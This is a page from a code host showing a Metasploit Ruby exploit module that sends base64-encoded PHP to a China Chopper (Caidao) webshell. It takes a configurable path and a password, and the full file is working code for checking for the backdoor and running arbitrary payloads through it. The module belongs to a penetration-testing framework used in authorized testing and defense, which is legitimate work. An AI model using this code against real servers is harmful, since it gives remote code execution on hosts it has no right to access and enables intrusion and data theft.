PageRenderTime 42ms CodeModel.GetById 18ms RepoModel.GetById 0ms app.codeStats 0ms

/modules/exploits/multi/http/caidao_php_backdoor_exec.rb

https://github.com/rapid7/metasploit-framework
Ruby | 69 lines | 58 code | 7 blank | 4 comment | 2 complexity | 5019bc622b1e0b43c393d233eefc7def MD5 | raw file
  1. ##
  2. # This module requires Metasploit: https://metasploit.com/download
  3. # Current source: https://github.com/rapid7/metasploit-framework
  4. ##
  5. class MetasploitModule < Msf::Exploit::Remote
  6. Rank = ExcellentRanking
  7. include Msf::Exploit::Remote::HttpClient
  8. def initialize(info = {})
  9. super(update_info(info,
  10. 'Name' => 'China Chopper Caidao PHP Backdoor Code Execution',
  11. 'Description' => %q{
  12. This module takes advantage of the China Chopper Webshell that is
  13. commonly used by Chinese hackers.
  14. },
  15. 'License' => MSF_LICENSE,
  16. 'Author' => ['Nixawk'],
  17. 'References' =>
  18. [
  19. ['URL', 'https://www.fireeye.com/blog/threat-research/2013/08/breaking-down-the-china-chopper-web-shell-part-i.html'],
  20. ['URL', 'https://www.fireeye.com/blog/threat-research/2013/08/breaking-down-the-china-chopper-web-shell-part-ii.html'],
  21. ['URL', 'https://www.exploit-db.com/docs/27654.pdf'],
  22. ['URL', 'https://www.cisa.gov/uscert/ncas/alerts/TA15-313A']
  23. ],
  24. 'Platform' => ['php'],
  25. 'Arch' => ARCH_PHP,
  26. 'Targets' =>
  27. [
  28. ['Automatic', {}]
  29. ],
  30. 'Privileged' => false,
  31. 'DisclosureDate' => '2015-10-27',
  32. 'DefaultTarget' => 0))
  33. register_options(
  34. [
  35. OptString.new('TARGETURI', [true, 'The path of backdoor', '/caidao.php']),
  36. OptString.new('PASSWORD', [true, 'The password of backdoor', 'chopper'])
  37. ])
  38. end
  39. def http_send_command(code)
  40. code = "eval(base64_decode(\"#{Rex::Text.encode_base64(code)}\"));"
  41. send_request_cgi({
  42. 'method' => 'POST',
  43. 'uri' => normalize_uri(target_uri.path),
  44. 'vars_post' => {
  45. "#{datastore['PASSWORD']}" => code
  46. }
  47. })
  48. end
  49. def check
  50. flag = Rex::Text.rand_text_alpha(16)
  51. res = http_send_command("printf(\"#{flag}\");")
  52. if res && res.body =~ /#{flag}/m
  53. Exploit::CheckCode::Vulnerable
  54. else
  55. Exploit::CheckCode::Safe
  56. end
  57. end
  58. def exploit
  59. print_status("Sending exploit...")
  60. http_send_command(payload.raw)
  61. end
  62. end